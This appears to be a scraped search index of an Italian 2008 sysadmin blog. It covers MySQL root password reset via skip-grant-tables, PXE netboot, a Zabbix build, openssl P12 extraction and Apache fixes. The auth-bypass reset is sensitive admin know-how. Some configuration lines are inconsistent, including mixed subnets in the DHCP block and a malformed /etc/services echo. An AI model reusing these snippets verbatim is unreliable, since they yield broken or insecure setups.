style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esub fine_ok () {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $msg=shift;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint \u0026#34;$ok\\n\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexit (1);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl - Zabbix SMS Allert"},{"content":"E si a volte capita di non ricordare o avere sotto mano la password di un database mysql, ecco qualche breve passaggio per reimpostarla:\nStoppare il server mysql solitamente una cosa del genere dovrebbe bastare: root@tardis:~# /etc/init.d/mysql stop\n2`. Avviare una sessione del demone mysql con il parametro \u0026ldquo;skip grant table\u0026rdquo;\nroot@tardis:~# mysqld\\_safe --skip-grant-tables\nA questo punto è possibile collegarsi al server senza che richieda credenziali quindi: root@tardis:~# mysql \u0026gt; Reipostiamo direttamente nella tabella del db la password di root: mysql\u0026gt; UPDATE mysql.user SET Password=PASSWORD(\u0026#39;NewPass\u0026#39;) WHERE User=\u0026#39;root\u0026#39;; mysql\u0026gt; FLUSH PRIVILEGES; Stoppiamo il demone avviato con il \u0026ldquo;skip grant table\u0026rdquo; e riavviare quello corretto: root@tardis:~# /etc/init.d/mysql start\n","permalink":"https://www.deepreflect.net/2008/11/17/mysql-reset-root-password/","summary":"\u003cp\u003eE si a volte capita di non ricordare o avere sotto mano la password di un database mysql, ecco qualche breve passaggio per reimpostarla:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eStoppare il server mysql solitamente una cosa del genere dovrebbe bastare:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ccode\u003eroot@tardis:~# /etc/init.d/mysql stop\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e2`. Avviare una sessione del demone mysql con il parametro \u0026ldquo;skip grant table\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eroot@tardis:~# mysqld\\_safe --skip-grant-tables\u003c/code\u003e\u003c/p\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003eA questo punto è possibile collegarsi al server senza che richieda credenziali quindi:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e root@tardis:~# mysql\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"4\"\u003e\n\u003cli\u003eReipostiamo direttamente nella tabella del db la password di root:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql\u0026gt; UPDATE mysql.user SET Password=PASSWORD(\u0026#39;NewPass\u0026#39;) WHERE User=\u0026#39;root\u0026#39;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql\u0026gt; FLUSH PRIVILEGES;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"5\"\u003e\n\u003cli\u003eStoppiamo il demone avviato con il \u0026ldquo;skip grant table\u0026rdquo; e riavviare quello corretto:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ccode\u003eroot@tardis:~# /etc/init.d/mysql start\u003c/code\u003e\u003c/p\u003e","title":"MySQL - Reset root password"},{"content":"Questo è dedicato a tutti quei programmatorucoli da quattro soldi che credono che si un problema di server quando nelle loro paginette del cavolo non vedono correttamente i caratteri.\nQuesta cosa:\n\u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;/\u0026gt; Solitamente è quello che viene inserito nelle pagine html.\nPer chi volesse capire ecco la spiegazione del perché questo non basta, in pratica l\u0026rsquo;engine legge il codice lo interpreta e restituisce un qualcosa, ovviamente questo qualcosa è definito chiaramente in fase di programmazione se vi dimenticate di inserire la codifica (vedi sotto) come diavolo può sapere l\u0026rsquo;engine php, che charset avete usato nella pagina?\n\u0026lt;?php header(\u0026#39;Content-type: text/html; charset=utf-8\u0026#39;); ?\u0026gt; Quindi ricordate di entrambe le cose anche se la pagina contiene html ma è .php e non rompete ai sistemisti che hanno già tante cose da fare.\n","permalink":"https://www.deepreflect.net/2008/11/16/php-charset/","summary":"\u003cp\u003eQuesto è dedicato a tutti quei programmatorucoli da quattro soldi che credono che si un problema di server quando nelle loro paginette del cavolo non vedono correttamente i caratteri.\u003c/p\u003e\n\u003cp\u003eQuesta cosa:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;/\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSolitamente è quello che viene inserito nelle pagine html.\u003c/p\u003e\n\u003cp\u003ePer chi volesse capire ecco la spiegazione del perché questo non basta, in pratica l\u0026rsquo;engine legge il codice lo interpreta e restituisce un qualcosa, ovviamente questo qualcosa è definito chiaramente in fase di programmazione se vi dimenticate di inserire la codifica (vedi sotto) come diavolo può sapere l\u0026rsquo;engine php, che charset avete usato nella pagina?\u003c/p\u003e","title":"PHP - Charset"},{"content":"\n\u0026ldquo;Luigi, qual\u0026rsquo;è il tasto any key?\u0026rdquo;\n","permalink":"https://www.deepreflect.net/2008/11/15/any-key/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/11/13112008.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/13112008-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Luigi, qual\u0026rsquo;è il tasto any key?\u0026rdquo;\u003c/p\u003e","title":"Any Key"},{"content":"Ogni tanto il sistema di alimentazione, dei powerbook ammetto che si blocca o feggio ancora fa un po\u0026rsquo; i fattacci suoi, una resettatina non fa male:\nRimando alla documentazione ufficiale sul sito apple:\nhttp://support.apple.com/kb/HT1431#faq10\n","permalink":"https://www.deepreflect.net/2008/11/15/apple-resetting-powerbook-and-ibook-power-management-unit-pmu/","summary":"\u003cp\u003eOgni tanto il sistema di alimentazione, dei powerbook ammetto che si blocca o feggio ancora fa un po\u0026rsquo; i fattacci suoi, una resettatina non fa male:\u003c/p\u003e\n\u003cp\u003eRimando alla documentazione ufficiale sul sito apple:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://support.apple.com/kb/HT1431#faq10\"\u003ehttp://support.apple.com/kb/HT1431#faq10\u003c/a\u003e\u003c/p\u003e","title":"Apple - Resetting PowerBook and iBook Power Management Unit (PMU) "},{"content":"Dato che ultimamente è più facile per me avere a portata di mano un portatile o dispositivo simile e non i cd che vanno innesorabilmente persi, mi sono deciso a mettere un sistema di boot PXE sul notebook per effettuare l\u0026rsquo;installazioni dei server.\nEcco quello che serve per partire, è necessario avere questi 3 pacchetti:\nIl server TFTP dove risiederanno le immagini di boot. Il server DHCP per distribuire gli indirizzi e i parametri PXE Il dnsmasq questo servirà ad installazione avviata per recuperare i pacchetti dal repository Quindi prima cosa installiamo: root@tardis:~/apt-get install tftpd-hpa dhcp3-server dnsmasq\nAbilitiamo il server tftp con questi passaggi: Editiamo: /etc/default/tftpd-hpa\nModificando questo parametro: RUN_DAEMON=\u0026quot;no\u0026quot; in questo: RUN_DAEMON=\u0026quot;yes\u0026quot; Io mi sono creato per comodità un link simbolico alla root del tftp in /\nroot@tardis:~# ln -s /var/lib/tftpboot /tftp-root\nOra di può far partire il servizio:\nroot@tardis:~# /etc/init.d/tftpd-hpa start\nAbilitiamo il server dhcp: Editiamo questo file: /etc/dhcp3/dhcpd.conf\nInserendo queste righe:\noption domain-name-servers 192.168.10.50; default-lease-time 86400; max-lease-time 604800; authoritative; subnet 192.168.10.0 netmask 255.255.255.0 { range 192.168.10.10 192.168.1.20; filename \u0026#34;pxelinux.0\u0026#34;; next-server 192.168.10.50; option subnet-mask 255.255.255.0; option broadcast-address 192.168.1.255; option routers 192.168.10.50; } Ora di può far partire il servizio:\nroot@tardis:~# /etc/init.d/dhcpd-server start\nAbilitiamo il dnsmasq Editiamo questo file: /etc/dnsmasq.conf\ndhcp-boot=pxelinux.0,tardis,192.168.10.50\nOra di può far partire il servizio:\nroot@tardis:~# /etc/init.d/dnsmasq start\nRouting: Questa parte ci serve per fare il get dal repository usando il portatile da router.\nroot@tardis:~# echo 1 \u0026gt; /proc/sys/net/ipv4/ip_forward\nPrepariamo il repository locale: root@tardis:~# cd /tftp-root root@tardis:~# wget http://ftp.nl.debian.org/debian/dists/etch/main/installer-i386/current/images/netboot/netboot.tar.gz root@tardis:~# tar xvf netboot.tar.gz Con questa operazione creaiamo il repository per il boot normale senza opzioni, eventuali parametri andranno specificati manualmente.\nOra collegando una macchina da installare con il pxe abilitato, prederà l\u0026rsquo;ip dal server dhcp e caricherà l\u0026rsquo;immagine di boot tramite tftp!\n","permalink":"https://www.deepreflect.net/2008/11/15/debian-pxe-installation/","summary":"\u003cp\u003eDato che ultimamente è più facile per me avere a portata di mano un portatile o dispositivo simile e non i cd che vanno innesorabilmente persi, mi sono deciso a mettere un sistema di boot PXE sul notebook per effettuare l\u0026rsquo;installazioni dei server.\u003c/p\u003e\n\u003cp\u003eEcco quello che serve per partire, è necessario avere questi 3 pacchetti:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIl server TFTP dove risiederanno le immagini di boot.\u003c/li\u003e\n\u003cli\u003eIl server DHCP per distribuire gli indirizzi e i parametri PXE\u003c/li\u003e\n\u003cli\u003eIl dnsmasq questo servirà ad installazione avviata per recuperare i pacchetti dal repository\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003eQuindi prima cosa installiamo:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ccode\u003eroot@tardis:~/apt-get install tftpd-hpa dhcp3-server dnsmasq\u003c/code\u003e\u003c/p\u003e","title":"Debian - PXE installation"},{"content":"Se per sbaglio durante un restore di un database mysql cancellaste l\u0026rsquo;utente di sistema debian-sys-maint Potete ripristinarlo usando la password generata e scritta in chiaro in questo file:\n/etc/mysql/debian.cnf\nQuesto è necessario se usate il sitema APT per gestire gli aggiornamenti dei servizi, in caso contrario non ha senso di esistere.\n","permalink":"https://www.deepreflect.net/2008/11/12/debian-debian-sys-maint/","summary":"\u003cp\u003eSe per sbaglio durante un restore di un database mysql cancellaste l\u0026rsquo;utente di sistema debian-sys-maint\nPotete ripristinarlo usando la password generata e scritta in chiaro in questo file:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/mysql/debian.cnf\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eQuesto è necessario se usate il sitema APT per gestire gli aggiornamenti dei servizi, in caso contrario non ha senso di esistere.\u003c/p\u003e","title":"Debian - debian-sys-maint"},{"content":"\nNon c\u0026rsquo;è cosa migliore di incontrare una bobinona di fibra ottica, sotto l\u0026rsquo;ufficio di primo mattino.\nEro convinto che avvesero fermato l\u0026rsquo;ampliamento dell\u0026rsquo;infrastruttura ottica nelle zone centrali di milano, mi fa pensare che siamo attivati a livelli critici di saturazione delle linee su rame.\n","permalink":"https://www.deepreflect.net/2008/11/12/cavo-ottico/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/11/12112008.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/12112008-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eNon c\u0026rsquo;è cosa migliore di incontrare una bobinona di fibra ottica, sotto l\u0026rsquo;ufficio di primo mattino.\u003c/p\u003e\n\u003cp\u003eEro convinto che avvesero fermato l\u0026rsquo;ampliamento dell\u0026rsquo;infrastruttura ottica nelle zone centrali di milano, mi fa pensare che siamo attivati a livelli critici di saturazione delle linee su rame.\u003c/p\u003e","title":"Cavo Ottico"},{"content":"Segnalo un tool per creare gli eseguibili autoestraenti sui sistemi *nix sempre utile per ogni evenienza.\nhttp://megastep.org/makeself/\n","permalink":"https://www.deepreflect.net/2008/11/11/tool-make-self/","summary":"\u003cp\u003eSegnalo un tool per creare gli eseguibili autoestraenti sui sistemi *nix sempre utile per ogni evenienza.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://megastep.org/makeself/\"\u003ehttp://megastep.org/makeself/\u003c/a\u003e\u003c/p\u003e","title":"Tool - Make Self"},{"content":"Lunedì +\n+ Il Lunedì, le ferrovie che scioperano, la benedizione natalizia dell\u0026rsquo;ufficio, hanno messo veramente a dura prova la mia pazienza.\n","permalink":"https://www.deepreflect.net/2008/11/10/come/","summary":"\u003cp\u003eLunedì +\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/11/10112008-001.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/10112008-001-300x225.jpg\"\u003e\u003c/a\u003e + \u003ca href=\"wp-content/uploads/2008/11/10112008.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/10112008-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIl Lunedì, le ferrovie che scioperano, la benedizione natalizia dell\u0026rsquo;ufficio, hanno messo veramente a dura prova la mia pazienza.\u003c/p\u003e","title":"Ed è solo lunedì.."},{"content":"Se aquistato una vps con Debian basata su XEN ricordatevi che nella maggio parte dei casi mancano tools per gestire i moduli quindi per utilizzare un qualsiasi modulo in questo caso particolare tun/tap occorre installarli:\n# apt-get install module-init-tools #modprobe tun # mkdir /dev/net # mknod /dev/net/tun c 10 200 A questo punto è tutto pronto.\nPer riconoscere se è questo il vostro problema è facile incorrere in questo errore:\nQM_MODULES: Function not implemented\n","permalink":"https://www.deepreflect.net/2008/11/10/vps-linux-tuntap-device/","summary":"\u003cp\u003eSe aquistato una vps con Debian basata su XEN ricordatevi che nella maggio parte dei casi mancano tools per gestire i moduli quindi per utilizzare un qualsiasi modulo in questo caso particolare tun/tap occorre installarli:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# apt-get install module-init-tools\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#modprobe tun\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# mkdir /dev/net\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# mknod /dev/net/tun c 10 200\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA questo punto è tutto pronto.\u003c/p\u003e\n\u003cp\u003ePer riconoscere se è questo il vostro problema è facile incorrere in questo errore:\u003c/p\u003e","title":"VPS Linux - TUN/TAP Device"},{"content":"Questa mi suona propio nuova eppure è una notizia di qualche settimana fa, Cisco ha acquisito Jabber.\nMa che sta succedendo?\nMore info:\nhttp://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html\n","permalink":"https://www.deepreflect.net/2008/11/09/cisco-acquires-jabber-inc/","summary":"\u003cp\u003eQuesta mi suona propio nuova eppure è una notizia di qualche settimana fa, Cisco ha acquisito Jabber.\u003c/p\u003e\n\u003cp\u003eMa che sta succedendo?\u003c/p\u003e\n\u003cp\u003eMore info:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html\"\u003ehttp://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html\u003c/a\u003e\u003c/p\u003e","title":"Cisco Acquires Jabber, Inc."},{"content":"Memo su come estrarre i certificati compressi in P12\nComando per estrarre la chiave:\n# openssl pkcs12 -nocerts -in cert.p12 -out key.pem\nComando per estrarre il certificato:\n# openssl pkcs12 -nokeys -in cert.p12 -out cert.pem\nComando per decriptare la chiave, questo serve per evitare di reinserire tutte le volte che si usa la chiave, la password rsa:\n# openssl rsa -in key.pem -out decryptkey.pem\n","permalink":"https://www.deepreflect.net/2008/11/09/manipolazione-certificati-ssl-p12/","summary":"\u003cp\u003eMemo su come estrarre i certificati compressi in P12\u003c/p\u003e\n\u003cp\u003eComando per estrarre la chiave:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# openssl pkcs12 -nocerts -in cert.p12 -out key.pem\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eComando per estrarre il certificato:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# openssl pkcs12 -nokeys -in cert.p12 -out cert.pem\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eComando per decriptare la chiave, questo serve per evitare di reinserire tutte le volte che si usa la chiave, la password rsa:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# openssl rsa -in key.pem -out decryptkey.pem\u003c/code\u003e\u003c/p\u003e","title":"Manipolazione certificati ssl P12"},{"content":"Una breve guida sull\u0026rsquo;implementazione di questo giovane netmonitor che a mio avviso a differenza di soluzioni più conosciute e consolidate come nagios, introduce una gestione molto più web oriented semplificando moldo le operazioni in ambienti che necessitano di rapida scalabilità.\nL\u0026rsquo;installazione è stata effettuato con successo usando Debian Etch 4.0r5 e CentOS 5.2 inutile dire che tutte le operazio che seguiranno dovranno essere fatte da utente \u0026lsquo;root\u0026rsquo;\nPrepariamo quello che ci serve per la compilazione: tardis:~# aptitude -y install build-essential libmysqlclient-dev libssl-dev libsnmp-dev libiksemel-dev libcurl3-dev\ntardis:~# apt-get install snmp libiksemel3 libcurl3 libsnmp-base libmysqlclient15off\nScarichiamo i sorgenti, e procediamo con scompattazione: tardis:~# wget http://garr.dl.sourceforge.net/sourceforge/zabbix/zabbix-1.6.1.tar.gz tardis:~# tar zxvf zabbix-1.6.1.tar.gz tardis:~# cd zabbix-1.6.1 Configurazione e compilazione, in questo caso verà compilato oltre all\u0026rsquo;agente dedicato a discovery e al monitoraggio, anche il server che ha la funzione di raccogliere di dati dai vari agent, gestire gli allarmi e le operazioni di cordinameto: tardis:~# ./configure --prefix=/usr --with-mysql --with-net-snmp --enable-server --enable-agent --enable-ipv6 --with-jabber tardis:~# make Ora una piccola nota, se compilaste direttamente su macchine di produzione a questo punto basterebbe fare un \u0026lsquo;make install\u0026rsquo; non avendo gli strumenti dedicati, è necessario spostare il compilato sulla macchina dedicata e procedere a mano, quindi (questa fase è da eseguire sulla macchina di produzione che dovrà avere a bordo Apache2, PHP5, Mysql5 già funzionanti):\nCreiamo utente e gruppo dedicato: groupadd zabbix useradd -c \u0026#39;Zabbix\u0026#39; -d /home/zabbix -g zabbix -s /bin/bash zabbix mkdir /home/zabbix chown zabbix:zabbix /home/zabbix Creiamo database e utente dedicato in mysql server: mysql -p -u root create database zabbix; grant all on zabbix.* to \u0026lsquo;zabbix\u0026rsquo;@\u0026rsquo;localhost\u0026rsquo; identified by \u0026lsquo;changeme\u0026rsquo;; quit;\nPopoliamo le tabelle del database: server:~/zabbix-1.6.1# mysql -u root -p zabbix \u0026lt; create/schema/mysql.sql server:~/zabbix-1.6.1# mysql -u root -p zabbix \u0026lt; create/data/data.sql server:~/zabbix-1.6.1# mysql -u root -p zabbix \u0026lt; create/data/images_mysql.sql Creaiamo una struttura di directory dedicata, questa soluzione potrebbe risultare noiasa, ma durante le operazioni di aggiornamento e manutenzione sarà molto più comodo e veloce: server:~# mkdir /usr/share/zabbix server:~# mkdir /usr/share/zabbix/sbin server:~# mkdir /usr/share/zabbix/etc server:~# mkdir /usr/share/zabbix/frontends Con i seguenti passaggi creaiamo un link simbolico delle /etc di zabbix alla /etc di sistema, copiamo il frontend php nella directory dedicata, e infine copiamo gli esguibili compilati che ci servono: server:~/zabbix-1.6.1# ln -s /usr/share/zabbix/etc/ /etc/zabbix server:~/zabbix-1.6.1# cp -r frontends/php/* /usr/share/zabbix/frontends server:~/zabbix-1.6.1# cp src/zabbix\\_agent/zabbix_agent /usr/share/zabbix/sbin/zabbix_agent server:~/zabbix-1.6.1# cp src/zabbix\\_agent/zabbix_agentd /usr/share/zabbix/sbin/zabbix_agentd server:~/zabbix-1.6.1# cp src/zabbix_server/zabbix_server /usr/share/zabbix/sbin/zabbix_server Configuriamo i file di init.d copiandoli e aggiustando i path server:~/zabbix-1.6.1# cp misc/init.d/debian/* /etc/init.d/\nModificate entrambi gli script aggiustando i path in particolare questa riga:\nda così: DAEMON=/home/zabbix/bin/${NAME} deve diventare così: DAEMON=/usr/share/zabbix/sbin/${NAME}\nAggiungiamo la definizione delle porte usate da zabbix nei /etc/services echo \u0026gt; \u0026quot; zabbix_agent 10050/tcp # Zabbix ports zabbix_trap 10051/tcp\u0026quot; /etc/services\nCopiamo le configurazioni di default e apportiamo le modifiche di base: server:/zabbix-1.6.1# chown -R zabbix:zabbix /usr/share/zabbix/etc server:/zabbix-1.6.1# cp misc/conf/zabbix_* /usr/share/zabbix/etc\nEditiamo il file: zabbix_agentd.conf e assicuriamoci che ci sia la seguente riga\nServer=127.0.0.1\nEditiamo zabbix_server.conf\nmax_execution_time = 300 date.timezone = UTC DBHost=localhost DBName=zabbix DBUser=zabbix DBPassword=changeme Apache e PHP Nel file php.ini è necessario avere i seguenti parametri definiti:\nmax_execution_time = 300 date.timezone = UTC La configurazione di apache è abbastanza a discrezione dell\u0026rsquo;amministratore si può fare in due modi:\nCreando un vhost dedicato:\n\u0026lt;virtualhost\u0026gt; ServerName zabbix.domain.tld DocumentRoot /usr/share/zabbix/frontends \u0026lt;directory\u0026gt; Options FollowSymLinks AllowOverride None \u0026lt;/directory\u0026gt; \u0026lt;/virtualhost\u0026gt; Oppure creando un\u0026rsquo;alias in una vhost già definito:\n\u0026lt;IfModule mod\\_alias.c\u0026gt; Alias /zabbix /usr/share/zabbix/frontends \u0026lt;/IfModule\u0026gt; Ora se tutto è stato fatto correttamente avviando i servizi e aprendo la pagina web si potrà procedere con la rapiada configurazione del frontends e poi all\u0026rsquo;uso ma prima i seguenti comandi: /etc/init.d/apache2 restart /etc/init.d/zabbix-server start /etc/init.d/zabbix-agent start ","permalink":"https://www.deepreflect.net/2008/11/08/linux-zabbix-build-161-mysql/","summary":"\u003cp\u003eUna breve guida sull\u0026rsquo;implementazione di questo giovane netmonitor che a mio avviso a differenza di soluzioni più conosciute e consolidate come nagios, introduce una gestione molto più web oriented semplificando moldo le operazioni in ambienti che necessitano di rapida scalabilità.\u003c/p\u003e\n\u003cp\u003eL\u0026rsquo;installazione è stata effettuato con successo usando Debian Etch 4.0r5 e CentOS 5.2 inutile dire che tutte le operazio che seguiranno dovranno essere fatte da utente \u0026lsquo;root\u0026rsquo;\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ePrepariamo quello che ci serve per la compilazione:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ccode\u003etardis:~# aptitude -y install build-essential libmysqlclient-dev libssl-dev libsnmp-dev libiksemel-dev libcurl3-dev\u003c/code\u003e\u003c/p\u003e","title":"Linux - Zabbix Build 1.6.1 (MySql)"},{"content":"Ma che cosa vuol dire?\n","permalink":"https://www.deepreflect.net/2008/11/07/web-20/","summary":"\u003cp\u003eMa che cosa vuol dire?\u003c/p\u003e","title":"Web 2.0"},{"content":"ini_set( \u0026quot;display_errors\u0026quot;, 0);\n","permalink":"https://www.deepreflect.net/2008/11/03/php-problem-solving/","summary":"\u003cp\u003e\u003ccode\u003eini_set( \u0026quot;display_errors\u0026quot;, 0);\u003c/code\u003e\u003c/p\u003e","title":"PHP - Problem Solving"},{"content":"42\n","permalink":"https://www.deepreflect.net/2008/11/03/la-risposta-alla-domanda-fondamentale-sulla-vita-luniverso-e-tutto-quanto/","summary":"\u003cp\u003e42\u003c/p\u003e","title":"La risposta alla domanda fondamentale sulla vita, l'universo e tutto quanto"},{"content":"Abilitare l\u0026rsquo;utente di root nelle varie versioni dell\u0026rsquo;os X\n10.5\nDal tool \u0026ldquo;Directory Utility\u0026rdquo; che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu \u0026ldquo;Edit\u0026rdquo; c\u0026rsquo;e\u0026rsquo; la comoda voce \u0026ldquo;Enable Root User\u0026rdquo; dopodiche\u0026rsquo; settare la password.\n10.2 - 10.3 - 10.4\nDal tool \u0026ldquo;NetInfo Manager\u0026rdquo; che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu \u0026ldquo;Security\u0026rdquo; c\u0026rsquo;e\u0026rsquo; la voce \u0026ldquo;Enable Root User\u0026rdquo; dopodiche\u0026rsquo; settare la password.\n10.0 - 10.1\nDal tool \u0026ldquo;NetInfo Manager\u0026rdquo; che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu \u0026ldquo;Security\u0026rdquo;, \u0026ldquo;Domain\u0026quot;c\u0026rsquo;e\u0026rsquo; la voce \u0026ldquo;Enable Root User\u0026rdquo; dopodiche\u0026rsquo; settare la password.\n","permalink":"https://www.deepreflect.net/2008/11/02/mac-os-x-root-user/","summary":"\u003cp\u003eAbilitare l\u0026rsquo;utente di root nelle varie versioni dell\u0026rsquo;os X\u003c/p\u003e\n\u003cp\u003e10.5\u003c/p\u003e\n\u003cp\u003eDal tool  \u0026ldquo;Directory Utility\u0026rdquo; che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu \u0026ldquo;Edit\u0026rdquo; c\u0026rsquo;e\u0026rsquo; la comoda voce \u0026ldquo;Enable Root User\u0026rdquo; dopodiche\u0026rsquo; settare la password.\u003c/p\u003e\n\u003cp\u003e10.2 - 10.3 - 10.4\u003c/p\u003e\n\u003cp\u003eDal tool  \u0026ldquo;NetInfo Manager\u0026rdquo; che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu \u0026ldquo;Security\u0026rdquo; c\u0026rsquo;e\u0026rsquo; la voce \u0026ldquo;Enable Root User\u0026rdquo; dopodiche\u0026rsquo; settare la password.\u003c/p\u003e","title":"Mac OS X - root user"},{"content":"Tipico errore 403 Access Denied e nel log una stringa simile a quest \u0026ldquo;client denied by server configuration\u0026rdquo; con incluso il path del file specifico?\nAllora con buona probabilita\u0026rsquo; manca una direttiva nella configurazione globale o nella singola del vhost:\n\u0026lt;Directory \u0026#34;/var/www/\u0026#34;\u0026gt; Options None AllowOverride None Order allow,deny Allow from all \u0026lt;/Directory\u0026gt; ","permalink":"https://www.deepreflect.net/2008/10/30/apache-client-denied-by-server-configuration/","summary":"\u003cp\u003eTipico errore 403 Access Denied e nel log una stringa simile a quest \u0026ldquo;client denied by server configuration\u0026rdquo; con incluso il path del file specifico?\u003c/p\u003e\n\u003cp\u003eAllora con buona probabilita\u0026rsquo; manca una direttiva nella configurazione globale o nella singola del vhost:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eDirectory\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/var/www/\u0026#34;\u003c/span\u003e\u003cspan 